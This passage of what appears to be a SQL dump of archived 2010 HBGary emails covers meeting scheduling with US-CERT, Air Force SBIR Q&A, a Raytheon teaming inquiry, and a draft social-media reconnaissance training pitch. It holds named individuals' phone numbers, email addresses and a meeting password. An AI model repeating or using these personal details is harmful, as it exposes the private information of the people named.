\r\n',16045,'aaron_hbgary_com/16045.html'),(11089,'2010-08-31','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008489.M556602P14101Q5944.eml','Sean.Sobieraj@us-cert.gov,Sean.Sobieraj@us-cert.gov,','Re: HBGary meeting request to change day?','SeanAaron was able to change his commitment after all!Thursday is good.  Hopefully that still works for you?MariaOn Tue, Aug 31, 2010 at 5:37 AM,  &lt;Sean.Sobieraj@us-cert.gov&gt; wrote:\r\nMaria,\r\n\r\nHow is the following day, Friday September 10th, same time?  I think we\r\nscheduled it for 10:30 est.\r\n\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com]\r\nSent: Wednesday, August 25, 2010 8:00 PM\r\nTo: Sobieraj, Sean C\r\nCc: Byron Copeland\r\nSubject: HBGary meeting request to change day?\r\n\r\nHi Sean\r\n\r\nI was wondering if it is possible to change the meeting day.  We are\r\ncurrently scheduled for Thursday September 9th.  Aaron Barr is unable to\r\nmake it and he tried everything possible to move his calendar.\r\n\r\nIs there another day that week when we can meet?\r\n\r\nMaria\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',15688,'aaron_hbgary_com/15688.html'),(11090,'2010-08-31','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008490.M330521P14101Q5945.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Michael has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Michael are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Michael Nance \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           LM Fellow - Cyber CTO at Lockheed Martin\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Michael\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Greater Philadelphia Area\r\n                        \r\n                        \r\n                          Defense &amp; Space Industry \r\n                        \r\n                        \r\n                          michael.h.nance@lmco.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Michael\'s Connections (101) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Randy Terlecki\r\n                ,\r\n                  Director at Abacus Technology\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Brendan Coghlan\r\n                ,\r\n                  Managing Director at CSS Technical Services\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mark Gargulinski\r\n                ,\r\n                  Global Account Manager - Lockheed Martin at Netapp\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Tammy Vincent\r\n                ,\r\n                  Business Development Executive at Lockheed Martin Corporation\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Michael\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Lockheed Martin\r\n                    \r\n                      Michael works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     First USA\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     United States Air Force\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Cisco Systems\r\n                    \r\n                      Michael knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12105,'aaron_hbgary_com/12105.html'),(11091,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008490.M847016P14101Q5946.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,dataylor@lanl.gov,susiet@lanl.gov,mark@hbgary.com,\"Jerry McClure\" <Jerry.McClure@agilex.com>,dataylor@lanl.gov','GoToMeeting Invitation - HBGary Test Results','1.  Please join my meeting, Thursday, September 02 at 10:00 AM MDT.https://www1.gotomeeting.com/join/4835442732.  Use your microphone and speakers (VoIP) - a headset is recommended. Or, call in using your telephone.\r\nDial 630-869-1017Access Code: 483-544-273Audio PIN: Shown after joining the meetingMeeting Password: lanlMeeting ID: 483-544-273Agenda: \r\nReview Results from HBGary testing. GoToMeeting®Online Meetings Made Easy™\r\n',15516,'aaron_hbgary_com/15516.html'),(11092,'2010-08-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008491.M513118P14101Q5947.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: SBIR - Q&Q for shareable game-based objects','After reading this, I am not sure it fits.  We should explore it deeper.\r\n \r\n-Greg\r\nOn Mon, Aug 30, 2010 at 9:52 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg and Aaron,\r\n \r\nHere is Q&amp;A posted for Topic Number:  AF103-030 (AirForce)Title:  Shareable Game-Based Objects Gateway for DIS and HLA Integration\r\n\r\n \r\nAF 103-030:  Sharable game-based objects gateway for DIS and HLA Integration\r\n \r\n\r\n\r\n\r\n\r\n\r\n1.    Given that several existing games have already been integrated with DIS, please indicate the interactions/interoperabilities desired from this effort?\r\n\r\n \r\n\r\n\r\nAnswer: More general focus on making this kind of interoperability doable on a larger scale and more importantly is there a way for us to develop objects in one environment and share them across other environments so that we only have to do the development once as opposed to doing it each and every time we move across environments, game-engines, and authoring systems \r\n\r\n\r\n\r\n\r\n2.    Is there a desire for the enhancement of existing data exchange standards and/or development of new data exchange standards for training such that games/virtuals/constructives/live players can seamlessly interact in the same environment?\r\n\r\n\r\n\r\nAnswer:  Yes\r\n \r\n\r\n\r\n\r\n3.    Does a successful solution need to consider integration with other categories of systems, i.e., a Learning Management System? If so, how is the envisioned interoperability there?\r\n\r\n\r\n\r\nAnswer: Longer term but for the Phase I effort I&#39;d like to see the other two questions addressed.  Sharing objects in support of training which si of course our motivation with the topic, would be something that offerors should consider as an implication of a successful phase I effort\r\n\r\n\r\n\r\n\r\n4.    With regard to integration of games with high fidelity distributed simulation, are there any games or simulations in particular that we should consider for integration?\r\n\r\n\r\n\r\nAnswer:  No, but whatever you propose to use should be defensible both practically and theoretically.\r\n\r\n\r\n\r\n5.    Do the games implement networked communications either amongst instances of the same game, other games, or at all?\r\n\r\n\r\n\r\nAnswer: Yes there are ones that do and ones that don&#39;t.  That data exchange is one of our emphasis areas the other is if I author entities or objects in one game environment and or engine, I&#39;d like to be able to transport that entity or object to another environment or game instead of having to recreate each time I change environments or engines.  \r\n\r\n\r\n\r\n\r\n6.    Is it expected that the gateway application will have access to receive, process, and send game network traffic? This information is typically encrypted or considered proprietary in commercial games and not freely accessible to other developers. Can we assume that we will have the information needed to reliably decrypt/process what information is being sent by game clients/servers?\r\n\r\n \r\n\r\n\r\nAnswer: Nope, this is a major issue and it is one of the areas I want work to focus on trying to address.  \r\n \r\n\r\n\r\n\r\n7.    For games/simulations that are open-source, or where additional development is possible (i.e. through modifying tools or access to the game’s developers), is it reasonable for middleware communication code to be embedded directly into the game/simulation codebase? Or is it desired that there be no integration between the middleware/gateway application and the games/simulations that would be using it?\r\n\r\n \r\n\r\n\r\nAnswer: Good question, you tell me.\r\n \r\n\r\n\r\n\r\n8.     \r\n\r\n\r\n \r\n\r\n\r\n\r\n9.    What is the origin of this topic?\r\n\r\n\r\n\r\nAnswer: Our work and a noted difficulty in transporting objects created in one environment to others or any mechanism to easily translate across environments.\r\n\r\n\r\n\r\n\r\n10.  Is it a correct to say that the objective is to both (1) identify and define opportunities for the conceptual integration of games and high-fidelity simulations, and (2) design and develop a flexible technical integration of games and high fidelity simulations?\r\n\r\n\r\n\r\nAnswer: More than either really.  What we want to do is to figure out how objects can be developed in one environment and potentially validated in it and then transferred to a new environment and expect the model to work as it did in the other environment or at least close enough to working so that you aren’t rebuilding objects with each transfer.  Today for example you might build a whole host of objects in one multiverse environment but you cannot move then from the original on to another one without substantial if not complete rework.  In DIS and HLA environments you can share objects and they can retain some, most or all of their attributes but no so in many gaming environments and not so easily from gaming environments into DIS and HLA – although there are some exceptions to that latter point.  The second part is related to creating a mechanism and eventually standards (not in the SBIR per se) that permits games and DIS and HLA environments to interoperate more seamlessly than they do today.\r\n\r\n\r\n\r\n\r\n11.  Can you give any examples of games and simulations, or of game mechanics that you have in mind?\r\n\r\n\r\n\r\nAnswer:  Yes objects themselves like people, places and things, as well as real time data exchanges. \r\n\r\n\r\n\r\n12.  Do you expect this integration to extend beyond simulated kinetic interaction (e.g., location and weapon employment) to more abstract simulation and training issues (e.g., sharing training goals)\r\n\r\n\r\n\r\nAnswer:  be careful , this isn’t just an integration exercise. If all you plan to do is some kind of exploration and integration of other pieces and parts, that won’t make the grade. \r\n\r\n\r\n\r\n\r\n13.  Are you concerned with multi-level security issues at all (e.g., a low-side FPS player integrated with high-side training rotation at an NTC).\r\n\r\n\r\n\r\nAnswer:  Not for the Phase I effort for sure.  We’ll look at the opportunities and tradeoffs again for the Phase II work. \r\n\r\n\r\n\r\n14.  What specific AF requirements are being addressed by the topic? Can you provide references to the requirements documents (e.g., tech roadmaps, etc)?\r\n\r\n\r\n\r\nAnswer: USAF DMO requirements.  \r\n\r\n\r\n\r\n15.  What is the AF transition target, and plan for supporting it?\r\n\r\n\r\n\r\nAnswer: Potentially the USAF DMO program\r\n\r\n\r\n\r\n16.  Are there any additional references aside from those included in the original solicitation that we should look at?\r\n\r\n\r\n\r\nAnswer: None at this time.  If I come up with some additional ones I will get them posted with this table to the website.  \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n',1330,'aaron_hbgary_com/1330.html'),(11093,'2010-08-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008491.M750895P14101Q5948.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: SBIR - Medical Gaming Q&A',' \r\nThis one might actually be a good fit.  Our 3D immersive environment would be ideal for this, and would outclass anything that someone might try to do with Flash (which is very limiting in terms of immersive).  Furthermore, the work breakdown could be such that we protect our game engine from SBIR data rights.  Instead of developing the game engine with SBIR money, we develop the CONTENT for this training simulation with it.  So, the APPLICATION is tagged with SBIR data rights, but the platform is separate.  With that said, we could use the SBIR money to hire a medical professional with direct prior experience as an AF field manager or equivalent who would develop the training curriculum.  For our platform team, meaning the C++ programmer and artist, the artist would bill part time against the SBIR when developing medical simulation assets.  The C++ programmer would bill part time against the SBIR when developing extensions that are specific to the APPLICATION and are not intended to be used in the platform.  I can see all this mechanically and it would work.  That said, the SBIR would not fund the entire effort - it would only pay for the medical simulation - but I can&#39;t see how it would hurt the company at all either...\r\n\r\n \r\n-Greg \r\nOn Mon, Aug 30, 2010 at 9:56 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg and Aaron,\r\n \r\nPosted Q&amp;A for Medical Gaming.  Wonder if we could team with another company that knows medical and we know gaming…….\r\n \r\nQuestions and Answers:\r\n\r\nQ: Is it possible to see what is in current use within the DOD for this type of education/simulation/game at this time?\r\n\r\nA: There is no product currently that incorporates the entire continuum of care (point of injury to level 1 trauma hospital).\r\n\r\n \r\nQ: Is there a current vendor or product currently being used which can be seen externally?\r\n\r\nA: No current products being used.\r\n\r\n \r\nQ: Can you provide a pointer to more details on the virtual medical training world being developed for the AFMS Medical Modeling and Simulation program?\r\n\r\nA: The medical game must be accessible from overarching virtual medical\r\n\r\ntraining world. This training world will be embedded on the web throughan Air Force Medical Modeling &amp; Simulation Training (AFMMST) website that will include avatar virtual environments. Bottom line, the game must be directly linked to the overarching platform so our program maintains a &#39;one-stop shop&#39; for all of our medical personnel to train on the game no matter where they are geographically. The game will be a &#39;virtual environment&#39;. It should be able to integrate with the virtual world, but not require it to run the game. The virtual world is currently under development.\r\n\r\n \r\nQ: 2D simulations (e.g. Flash games) have can be a cost-effective way of training procedural and other cognitive skills. Do you see a role for these types of simulations in the solution you are seeking?\r\n\r\nA: The gaming environment needs to be as realistic as possible, so flash games may be limiting in this goal. Flash video to setup a specific medical scene may be a possibility, but as far the interactive gaming portion itself, it needs to be more advanced. For example, we think a flash video of the &quot;setup&quot; would be sufficient to set the scene from a combat zone to complete the following medical play.\r\n\r\n \r\nQ: Do you have access to any existing repositories of relevant training scenarios?\r\n\r\nA: We do have access to relevant medical training scenarios. We have developed medical scenarios on a standardized template for the AFMS Medical Modeling &amp; Simulation Program. These scenarios are validated through active duty career field managers and consultants that are appointed by the AF Surgeon General. The company that is selected depending upon the winning proposal will be given access to the necessary scenarios at that time. In a general sense, trauma scenarios will be the focus in the medical game.\r\n\r\nQ: What are the network throughputs requirements to be met?\r\n\r\nA: Are you talking about bandwidth? If so, bandwidth is limited on AF bases, comparable to DSL speeds to the average user. If not, then please clarify your question.\r\n\r\n \r\nQ: Are there any non-medical games that has the level of realism that you&#39;re looking for?\r\n\r\nA: . . . response pending . . .\r\n\r\n \r\nQ: Can you define the limits of the expected budget or targeted cost estimate?\r\n\r\nA: . . . response pending . . .\r\n\r\n \r\nQ: In the answer to question #3 above you state:\r\nIt should be able to integrate with the virtual world, but not require it to run the game. The virtual world is currently under development.Question: What specific technology is being used for this virtual world under development that the SBIR game should be able to plug into. Who is building this virtual world and can we see the specifications for it.\r\n\r\nA: . . . response pending . . .\r\n\r\n \r\n \r\n \r\n',4529,'aaron_hbgary_com/4529.html'),(11094,'2010-08-31','\"Taylor, David A\" <dataylor@lanl.gov>','/aaron@hbgary.com/new/1297008491.M960005P14101Q5949.eml','\"Ted Vera\" <ted@hbgary.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Trujillo, Susie G\" <susiet@lanl.gov>,mark@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','RE: GoToMeeting Invitation - HBGary Test Results','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGot it.\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\ndat\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, August 31, 2010 9:08 AM\r\nTo: Jerry McClure; Taylor, David A; Trujillo, Susie G; mark@hbgary.com\r\nCc: Ted Vera; Barr Aaron\r\nSubject: GoToMeeting Invitation - HBGary Test Results\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n1. &nbsp;Please join my\r\nmeeting, Thursday, September 02 at 10:00 AM MDT.\r\nhttps://www1.gotomeeting.com/join/483544273\r\n\r\n2. &nbsp;Use your microphone and speakers (VoIP) - a headset is recommended.\r\nOr, call in using your telephone.\r\n\r\nDial 630-869-1017\r\nAccess Code: 483-544-273\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting Password: lanl\r\nMeeting ID: 483-544-273\r\n\r\n\r\n\r\nAgenda:&nbsp;\r\nReview Results from HBGary testing.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nGoToMeeting&reg;\r\nOnline Meetings Made Easy&#8482;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8891,'aaron_hbgary_com/8891.html'),(11095,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008492.M403290P14101Q5950.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd:','Is this the &quot;latest and greatest&quot; you want integrated?---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Sun, Aug 15, 2010 at 7:35 PMSubject: To: Ted Vera &lt;ted@hbgary.com&gt;Cc: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nThe explosive growth of the social web creates an entirely new class of services that engage, connect, and push relevant real-time information to users.  The personal and organizational benefits of social media are measurable; whether through marketing and advertising, recruiting, building personal and professional relationships, training, or richer communications and collaboration.  The only thing the social web requires is some level of personally identifiable information (PII); who you are, where you are, what you like and dislike, who you associate with.  In many cases users of social media are not just involved in a single social media service but multiple services to meet different needs.  The exposure of PII is a constant topic of interest and concern amongst individuals as well as security and privacy advocates.  But most of these conversations are about the security and privacy settings of specific services and levels of security.  Infrequently discussed is the amount of information exposure to persons and organizations through the aggregation of PII across the social media landscape.  What can someone tell about the personal associations, places of work, locations visited, discussions.  What can all of this information expose about organizations based on analysis of this information across a set of its employees using a variety of services.  With this as the context we all need to think about the benefits of effective use of social media, the risks inherent in social media use, and especially misuse, and the steps individuals and organizations can take to limit exposure of information.\r\n\r\nHBGary Federal’s one-day training program familiarizes individuals and organizations with the social media landscape, the effective uses of social media for personal and organizational benefits, risks of use, methodologies for social reconnaissance, and protective measures to mitigate some of the risks of information exposure.  The course covers some of the emerging technologies that increase the effectiveness of social media such as location based services, geo-tagging, object recognition, augmented reality, their benefits and increased risks to information exposure.  In the effective use section we discuss how individuals and organizations can use social media effectively for crowd sourcing, marketing and advertising, increasing and organizing communications, recruiting, competitive intelligence, professional and business development.  During the section covering risks of use we discuss the privacy concerns of individual services but focus on the concerns of information exposure across social media platforms.  What does your Linkedin profile provide about an individual that can be correlated with information on Twitter, Facebook, etc.  How easy it is to conduct social reconnaissance using social media services.  In the use cases section we run down methodologies for social reconnaissance and run through some examples of how it can be used specifically for information collection, competitive intelligence, and developing spear phishing campaigns to deliver malware.  Lastly we describe some of the steps and solutions that can be implemented to decrease information exposure while still being able to take advantage of what social media has to offer.\r\n\r\n-------------------------------\r\n**********Filler stuff***********\r\nThe course provides information to improve pon effective use of social media to improve y\r\n\r\nTechnology outpaces security, and with the rise of social media this was never more true.  The level of information exposure for individuals and organizations is rising fast, combined with other technologies such as location based services, object recognition, convergence and service integration, managing personal or organizational PII is ...\r\n.  The change from explicit to implicit release of information has happened.  And the ability to manage PII is taxed, with no real technologies yet in existing that can help.  Both the first and last lines of defense are training, user awareness of what different aspects of participation in social media can mean to you personally and the organizations your affiliated with.  The biggest threats here are not the individual privacy settings on a single social media service but the aggregation of information and unintended information exposure.  Everything from geo-tagged photographs posted, to sensitive associations \r\n\r\n\r\nfor both personal and professional use and identifies the associated risks. The course is structured in five modules: Familiarization, Effective Use, Risks, Information Reconnaissance, and Protective Measures. Each module includes interactive sections and student labs. The labs cover information exploitation use cases using current popular social media services and social reconnaissance techniques, demonstrating the personal and organizational impacts. The Protective Measures module provides techniques that can be incorporated into personal social media use and organizational policies and directives to limit information exposure, and overviews of technologies that can be used to better monitor and block certain types of information exposure. Our training is offered in a one-day as well as one-half day Executive format. Training is provided in our Sacramento Corporate Office, can be delivered on-site at the customer location, or online. Our online training is led by a live instructor and accomodates up to 25 students per class. The online training environment provides a rich interactive learning experience.\r\nembedded geo-tag data in photos\r\nlocation based services\r\n\r\nThe explosive growth of social media has created a highly effective channel for the collection and aggregation of personal and organizational information for the purpose of delivering tailored content. To effectively interact in a social media ecosystem requires some release of personally identifiable information (PII), for most social media services the more information you provide the more tailored and beneficial the experience. In most cases these are legitimate reasons for providing the information with tangible user benefits, whether it be to more personalize and localize advertising or tailored and real-time information delivery that increases personal and organizational productivity. Unfortunately the same methods are being used to conduct information reconnaissance and exploitation. The most common current examples are spear-phishing attacks. Future social media exploitation tactics will likely be applications and services that provide personal benefit or entertainment, but serve a dual purpose to collect information that can be used for more insidi- ous purposes. This marks a new class of exploitation, vehicles directly targeting people rather than the machines they use, what we call Infoware.\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',12187,'aaron_hbgary_com/12187.html'),(11096,'2010-08-31','\"Chad Breese\" <Chad.Breese@raytheon.com>','/aaron@hbgary.com/new/1297008499.M215869P14101Q5951.eml','aaron@hbgary.com','Sirius','\r\nAaron,\r\n\r\nRaytheon is planning to prime the Sirius opportunity this go around and we\r\nwould like to talk to you about joining the team if you are interested.\r\nWhen would be a good time for you to get together and talk?\r\n\r\nRegards,\r\nChad\r\n\r\n\r\nChad Breese\r\nBusiness Development\r\nRaytheon Telemus, Inc.\r\n7600 Leesburg Pike, Suite 400\r\nFalls Church, VA 22043\r\nChad.Breese@Raytheon.com\r\n(571) 435-4739\r\n\r\n',13033,'aaron_hbgary_com/13033.html'),(11097,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008499.M422866P14101Q5952.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Sirius','I don&#39;t know Chad or this program.  Will find out.AaronSent from my iPhoneBegin forwarded message:\r\nFrom: Chad Breese &lt;Chad.Breese@raytheon.com&gt;Date: August 31, 2010 12:01:07 PM EDTTo: aaron@hbgary.com\r\nSubject: SiriusAaron,Raytheon is planning to prime the Sirius opportunity this go around and we\r\nwould like to talk to you about joining the team if you are interested.When would be a good time for you to get together and talk?Regards,Chad\r\nChad BreeseBusiness DevelopmentRaytheon Telemus, Inc.7600 Leesburg Pike, Suite 400Falls Church, VA 22043\r\nChad.Breese@Raytheon.com(571) 435-4739\r\n',550,'aaron_hbgary_com/550.html'),(11098,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008499.M613778P14101Q5953.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Sirius','Could it be this IARPA RFP?\r\n\r\n\r\nhttp://www.iarpa.gov/rfi_sirius.html\r\n\r\n\r\n\r\nOn Tue, Aug 31, 2010 at 10:05 AM, Aaron Barr  wrote:\r\n> I don\'t know Chad or this program.  Will find out.\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: Chad Breese \r\n> Date: August 31, 2010 12:01:07 PM EDT\r\n> To: aaron@hbgary.com\r\n> Subject: Sirius\r\n>\r\n>\r\n> Aaron,\r\n>\r\n> Raytheon is planning to prime the Sirius opportunity this go around and we\r\n> would like to talk to you about joining the team if you are interested.\r\n> When would be a good time for you to get together and talk?\r\n>\r\n> Regards,\r\n> Chad\r\n>\r\n>\r\n> Chad Breese\r\n> Business Development\r\n> Raytheon Telemus, Inc.\r\n> 7600 Leesburg Pike, Suite 400\r\n> Falls Church, VA 22043\r\n> Chad.Breese@Raytheon.com\r\n> (571) 435-4739\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10211,'aaron_hbgary_com/10211.html'),(11099,'2010-08-31','Sean.Sobieraj@us-cert.gov','/aaron@hbgary.com/new/1297008499.M830640P14101Q5954.eml','maria@hbgary.com,maria@hbgary.com,','RE: HBGary meeting request to change day?','\r\nOh ok, great.  Still works for us.  See you on the 9th.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, August 31, 2010 11:05 AM\r\nTo: Sobieraj, Sean C\r\nCc: Byron Copeland; aaron@hbgary.com\r\nSubject: Re: HBGary meeting request to change day?\r\n\r\nSean\r\n\r\nAaron was able to change his commitment after all!\r\n\r\nThursday is good.  Hopefully that still works for you?\r\n\r\nMaria\r\n\r\n\r\nOn Tue, Aug 31, 2010 at 5:37 AM,  wrote:\r\n\r\n\r\n	Maria,\r\n	\r\n	How is the following day, Friday September 10th, same time?  I\r\nthink we\r\n	scheduled it for 10:30 est.\r\n	\r\n	Sean\r\n	\r\n\r\n\r\n	-----Original Message-----\r\n	From: Maria Lucas [mailto:maria@hbgary.com]\r\n	\r\n	Sent: Wednesday, August 25, 2010 8:00 PM\r\n	To: Sobieraj, Sean C\r\n	Cc: Byron Copeland\r\n	Subject: HBGary meeting request to change day?\r\n	\r\n	Hi Sean\r\n	\r\n	I was wondering if it is possible to change the meeting day.  We\r\nare\r\n	currently scheduled for Thursday September 9th.  Aaron Barr is\r\nunable to\r\n	make it and he tried everything possible to move his calendar.\r\n	\r\n	Is there another day that week when we can meet?\r\n	\r\n	Maria\r\n	\r\n	--\r\n	Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n	\r\n	Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n	240-396-5971\r\n	email: maria@hbgary.com\r\n	\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n',12973,'aaron_hbgary_com/12973.html'),(11100,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008500.M199378P14101Q5955.eml','\"Ted Vera\" <ted@hbgary.com>','Take a look','\r\nThe explosive growth of the social web creates an entirely new class of services that engage, connect, and push relevant real-time information to users.  The personal and organizational benefits of social media are measurable; whether through marketing and advertising, recruiting, building personal and professional relationships, training, or richer communications and collaboration.  But to derive benefit from the social web requires some level of personally identifiable information (PII) disclosure; who you are, where you are, what you like and dislike, who you associate with.  The exposure of PII is a constant topic of interest and concern amongst individuals as well as security and privacy advocates.  But most of these conversations are about the security and privacy settings of individual services and levels of security.  In many cases users of social media are not just involved in a single social media service but multiple services to meet different needs. Infrequently discussed is the amount of information exposure to persons and organizations through the aggregation of PII across the social media landscape.  What can someone tell about the personal associations, places of work, locations visited, discussions.  What can all of this information expose about organizations based on analysis of this information across a set of its employees using a variety of services.  How can social media be used to target an organization, conduct more effective social reconnaissance and exploitation.  With this as the context we all need to think about the benefits of effective use of social media, the risks inherent in social media use, misuse, and the steps individuals and organizations can take to limit unnecessary exposure of information.\r\n\r\nHBGary Federal’s social media training programs familiarize individuals and organizations with the social media landscape, the effective uses of social media for personal and organizational benefits, risks of use, methodologies for social reconnaissance, and protective measures to mitigate some of the risks of information exposure.  We offer a half day and full day basic course that covers some of the emerging technologies that increase the effectiveness of social media such as location based services, geo-tagging, object recognition, augmented reality, their benefits and increased risks to information exposure.  In the effective use section we discuss how individuals and organizations can use social media effectively for crowd sourcing, marketing and advertising, increasing and organizing communications, recruiting, competitive intelligence, professional and business development.  During the section covering risks of use we discuss the privacy concerns of individual services but focus on the concerns of information exposure across social media platforms.  What does your Linkedin profile provide about an individual that can be correlated with information on Twitter, Facebook, etc.  How easy it is to 